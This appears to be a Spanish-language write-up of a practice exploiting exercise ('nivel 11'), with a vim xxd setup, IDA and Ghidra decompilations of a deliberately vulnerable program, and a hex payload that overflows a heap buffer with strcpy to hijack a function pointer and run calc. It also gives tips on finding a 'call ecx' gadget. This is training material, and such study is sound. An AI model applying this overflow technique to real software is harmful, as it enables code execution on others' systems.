Los retos los hice usando vim con la siguiente configuracion:
" vim -b : edit binary using xxd-format!
augroup Binary
au!
au BufReadPre *.bin let &bin=1
au BufReadPost *.bin if &bin | %!xxd
au BufReadPost *.bin set ft=xxd | endif
au BufWritePre *.bin if &bin | %!xxd -r
au BufWritePre *.bin endif
au BufWritePost *.bin if &bin | %!xxd
au BufWritePost *.bin set nomod | endif
augroup END
autocmd BufWritePost *.bin term ++close ++hidden cp % %:r.txt
Porque renombre el tipo de variable que tomaba check en vez de int
lo puse como char **
int __cdecl check(int a1, char **a2)
{
int i; // [esp+8h] [ebp-328h]
char *v4[201]; // [esp+Ch] [ebp-324h] BYREF
memset(v4, 0, 800u);
for ( i = 0; i < a1; ++i )
{
v4[i] = malloc(228u);
v4[i][54] = check;
v4[i][55] = system;
// strcpy copia hasta encontrar un caracter nulo (00 en hexa), acá no se produce overflow porque copias de un buffer de 200 a uno de 800
strcpy(v4[i], a2[i]);
// No queremos que pise el puntero a system con printf.
v4[i][55] = printf;
// Acá necesitamos copiar calc a v4[i]+200 (acá se produce el buffer overflow)
strcpy(v4[i] + 200, a2[i]);
// Acá necesitamos llamar a system(calc)
v4[i][55](v4[i] + 200);
}
return printf("\nA repasarrrr ... \n");
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v4; // [esp+4h] [ebp-3F8h]
int v5; // [esp+8h] [ebp-3F4h]
int i; // [esp+Ch] [ebp-3F0h]
const char *v7[200]; // [esp+10h] [ebp-3ECh] BYREF
char String[200]; // [esp+330h] [ebp-CCh] BYREF
v4 = fopen("C:\\lista.txt", "rb");
memset(String, 0, sizeof(String));
if ( !v4 )
{
printf("No se puede leer la lista de alumnos bye bye \n");
exit(1);
}
fread(String, 200u, 1u, v4);
v7[0] = strtok(String, " ");
if ( !v7[0] )
exit(1);
printf("nombre = %s\n", v7[0]);
v5 = 1; for ( i = 1; i < 200; ++i )
{
// Esto sirve para pasar a la siguiente palabra separada por un espacio.
v7[i] = strtok(0, " ");
if ( !v7[i] )
break;
printf("nombre = %s\n", v7[i]);
++v5;
}
printf("cantidad de alumnos %d\n", v5);
check(v5, v7);
return 0;
}
Pero en la función check el decompilador no detectó el mensaje que decía “Aprobaste nivel 11”, este mensaje si fue detectado por el decompilador de ghidra (aunque se puede ver en el gráfico del assembler en ida si accedés a la función check)
void __cdecl check(int param_1,int param_2)
{
char *pcVar1;
int iVar2;
int local_32c;
char *local_328 [200];
uint local_8;
local_8 = DAT_10104004 ^ (uint)&stack0xfffffffc;
iVar2 = 1;
memset(local_328,0,800);
for (local_32c = 0; local_32c < param_1; local_32c = local_32c + 1) {
pcVar1 = (char *)operator_new(0xe4);
local_328[local_32c] = pcVar1;
*(code **)(local_328[local_32c] + 0xd8) = FUN_10101010;
*(code **)(local_328[local_32c] + 0xdc) = system_exref;
strcpy(local_328[local_32c],*(char **)(param_2 + local_32c * 4));
*(code **)(local_328[local_32c] + 0xdc) = FUN_10101390;
strcpy(local_328[local_32c] + 200,*(char **)(param_2 + local_32c * 4));
(**(code **)(local_328[local_32c] + 0xdc))(local_328[local_32c] + 200);
}
if (iVar2 == 0) {
printf("\nAprobaste Nivel 11\n",(char)iVar2);
}
else {
printf("\nA repasarrrr ... \n",(char)iVar2);
}
@__security_check_cookie@4(local_8 ^ (uint)&stack0xfffffffc);
return;
}
int main(void)
{
FILE *_File;
char *pcVar1;
int iVar2;
undefined in_stack_fffffc00;
code *pcVar3;
int local_3f8;
int local_3f4;
char *local_3f0 [200];
char local_d0 [200];
uint local_8;
local_8 = DAT_10104004 ^ (uint)&stack0xfffffffc;
_File = fopen("C:\\lista.txt","rb");
memset(local_d0,0,200);
if (_File == (FILE *)0x0) {
printf("No se puede leer la lista de alumnos bye bye \n",in_stack_fffffc00);
/* WARNING: Subroutine does not return */
exit(1);
}
fread(local_d0,200,1,_File);
local_3f0[0] = strtok(local_d0," ");
if (local_3f0[0] == (char *)0x0) {
/* WARNING: Subroutine does not return */
exit(1);
}
printf("nombre = %s\n",(char)local_3f0[0]);
local_3f8 = 1;
for (local_3f4 = 1; local_3f4 < 200; local_3f4 = local_3f4 + 1) {
pcVar1 = strtok((char *)0x0," ");
local_3f0[local_3f4] = pcVar1;
if (local_3f0[local_3f4] == (char *)0x0) break;
printf("nombre = %s\n",(char)local_3f0[local_3f4]);
local_3f8 = local_3f8 + 1;
}
pcVar3 = check;
printf("cantidad de alumnos %d\n",(char)local_3f8);
(*pcVar3)(local_3f8,local_3f0);
iVar2 = @__security_check_cookie@4(local_8 ^ (uint)&stack0xfffffffc);
return iVar2;
}
00000000: 6361 6c63 2063 616c 6320 4141 4141 4141 calc calc AAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 5e11 AAAAAAAAAAAAAA^.
00000020: 1010 0000 0000 0000 0000 0000 0000 0000 ................
Saltamos a la dirección 1010115e
que es en donde está el mensaje “Aprobaste nivel 11”
Para ejecutar la calculadora tenés que usar un “gadget” y buscar un call ecx
Search > gadgets > search > control +f > call ecx
, hay un call ecx
en 10102148
El exploit de ricardo narvaja contiene XXXXXXXX
al comienzo estos X’s representan POP EAX
O podés usar rp++
o ropper
en linux para buscar los gadgets.